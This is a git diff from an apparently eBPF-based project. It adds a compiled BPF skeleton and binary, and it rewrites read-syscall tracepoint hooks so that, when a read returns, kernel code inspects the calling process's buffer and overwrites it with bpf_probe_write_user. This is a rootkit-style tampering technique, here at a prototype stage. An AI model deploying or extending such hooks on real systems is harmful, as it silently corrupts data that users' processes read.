+\0\0\0\0\0\0\0\0\0\0\0\x30\x19\0\0\0\0\0\0\x30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ +\x08\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xe1\0\0\0\x01\0\0\0\x03\0\0\0\0\0\0\0\0\0\0\ +\0\0\0\0\0\x60\x19\0\0\0\0\0\0\x0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\xac\x01\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x6d\ +\x19\0\0\0\0\0\0\x75\x2c\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\ +\0\0\0\0\x0b\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xe2\x45\0\0\0\0\0\ +\0\xd4\x0e\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x98\ +\x01\0\0\x02\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xb8\x54\0\0\0\0\0\0\x88\x08\ +\0\0\0\0\0\0\x12\0\0\0\x54\0\0\0\x08\0\0\0\0\0\0\0\x18\0\0\0\0\0\0\0\x33\x01\0\ +\0\x09\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\x5d\0\0\0\0\0\0\x30\0\0\0\0\0\ +\0\0\x0b\0\0\0\x03\0\0\0\x08\0\0\0\0\0\0\0\x10\0\0\0\0\0\0\0\xe9\0\0\0\x09\0\0\ +\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x70\x5d\0\0\0\0\0\0\x60\0\0\0\0\0\0\0\x0b\0\ +\0\0\x04\0\0\0\x08\0\0\0\0\0\0\0\x10\0\0\0\0\0\0\0\xba\0\0\0\x09\0\0\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\0\0\xd0\x5d\0\0\0\0\0\0\xe0\x01\0\0\0\0\0\0\x0b\0\0\0\x05\ +\0\0\0\x08\0\0\0\0\0\0\0\x10\0\0\0\0\0\0\0\xa8\x01\0\0\x09\0\0\0\0\0\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\xb0\x5f\0\0\0\0\0\0\x70\x02\0\0\0\0\0\0\x0b\0\0\0\x09\0\0\0\ +\x08\0\0\0\0\0\0\0\x10\0\0\0\0\0\0\0\x07\0\0\0\x09\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ +\0\0\0\0\0\x20\x62\0\0\0\0\0\0\x80\x0e\0\0\0\0\0\0\x0b\0\0\0\x0a\0\0\0\x08\0\0\ +\0\0\0\0\0\x10\0\0\0\0\0\0\0\xc7\0\0\0\x03\x4c\xff\x6f\0\0\0\x80\0\0\0\0\0\0\0\ +\0\0\0\0\0\xa0\x70\0\0\0\0\0\0\x2b\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\x90\x01\0\0\x03\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xcb\ +\x70\0\0\0\0\0\0\x0a\x06\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0\0\0\0\0\0\0\0\0\ +\0\0\0\0"; + + return 0; +err: + bpf_object__destroy_skeleton(s); + return -1; +} + +#endif /* __XDP_FILTER_BPF_SKEL_H__ */ diff --git a/src/bin/xdp_filter b/src/bin/xdp_filter new file mode 100755 index 0000000..e59ca76 Binary files /dev/null and b/src/bin/xdp_filter differ diff --git a/src/ebpf/include/bpf/fs.h b/src/ebpf/include/bpf/fs.h index d8a46e2..f8517ec 100644 --- a/src/ebpf/include/bpf/fs.h +++ b/src/ebpf/include/bpf/fs.h @@ -19,8 +19,28 @@ #include "map_defs.h" #include "../utils/strings.h" +/** + * https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673 + */ +struct sys_read_exit_ctx { + unsigned long long unused; //Pointer to pt_regs + int __syscall_nr; + long ret; +}; -static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* buf){ +/** + * https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588 + */ +struct sys_read_enter_ctx { + unsigned long long unused; //Pointer to pt_regs + int __syscall_nr; + unsigned int padding; //Alignment + unsigned long fd; + char* buf; + size_t count; +}; + +static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 pid = pid_tgid >> 32; struct fs_open_data data = { @@ -29,7 +49,7 @@ static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* bu .pid = pid }; bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY); - //bpf_printk("PID: %u, FS:%u\n", pid, fd); + //bpf_printk("IN PID: %u, FS:%u\n", pid, fd); return 0; } @@ -37,12 +57,16 @@ static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* bu * @brief Receives read event and stores the parameters into internal map * */ -SEC("kprobe/ksys_read") -int kprobe_ksys_read(struct pt_regs *ctx) { - struct pt_regs *rctx = ctx; - if (!rctx) return 0; - int fd = (int) PT_REGS_PARM1(ctx); - char *buf = (char *) PT_REGS_PARM2(ctx); +SEC("tracepoint/syscalls/sys_enter_read") +int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) { + struct sys_read_enter_ctx *rctx = ctx; + if (ctx == NULL){ + bpf_printk("Error\n"); + return 0; + } + + int fd = (int) ctx->fd; + char *buf = (char*) ctx->buf; return handle_sys_read(ctx, fd, buf); } @@ -53,21 +77,60 @@ int kprobe_ksys_read(struct pt_regs *ctx) { * values. * */ -SEC("kretprobe/vfs_read") -int kretprobe_vfs_read(struct pt_regs *ctx){ +SEC("tracepoint/syscalls/sys_exit_read") +int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){ __u64 pid_tgid = bpf_get_current_pid_tgid(); - + if(pid_tgid<0){ + bpf_printk("Out\n"); + return -1; + } + //bpf_printk("OUT PID: %u\n", pid_tgid>>32); + struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid); - if (data!=NULL){ + if (data == NULL || data->buf == NULL){ //Not found + bpf_printk("Not found\n"); return -1; } //Overwritting a byte of the buffer char *buf = data->buf; - char *msg = "OOOOOOOOOOOOO"; - bpf_printk("Overwritting at pid %u\n", data->pid); - //int err = bpf_probe_write_user((void*)buf, (void*)msg, (__u32)1); + __u32 pid = data->pid; + char *msg = "OOOOOOOOOOOOO\0"; + + if(buf == NULL){ + bpf_printk("Out\n"); + return -1; + } + + int length = 0; + char c[7] = {0}; + + while(length<6){ + if(bpf_probe_read_user(c+length, 1, buf+length)<0){ + //bpf_printk("Error reading\n"); + return -1; + } + //bpf_printk("%i\n", length); + length++; + }; + c[6] = '\0'; + + + for(int ii=0; ii<6; ii++){ + if(!((c[ii] >= 'a' && c[ii] <= 'z') || (c[ii] >= 'A' && c[ii] <= 'Z'))){ + //bpf_printk("Not a valid buf\n"); + return -1; + } + } + + + + bpf_printk("Overwritting at pid %u, %s\n", pid, buf); + if(bpf_probe_write_user((void*)buf, (void*)msg, (__u32)1)<0){ + bpf_printk("Error writing to user memory\n"); + } + bpf_printk("NEW at pid %u, %s\n", pid, buf); return 0; diff --git a/src/ebpf/xdp_filter.bpf.c b/src/ebpf/xdp_filter.bpf.c index 053d8b6..7a06e13 100644 --- a/src/ebpf/xdp_filter.bpf.c +++ b/src/ebpf/xdp_filter.bpf.c @@ -76,7 +76,7 @@ int xdp_receive(struct xdp_md *ctx){ } if (get_protocol(data) != IPPROTO_TCP){ - bpf_printk("C"); + //bpf_printk("C"); return XDP_PASS; }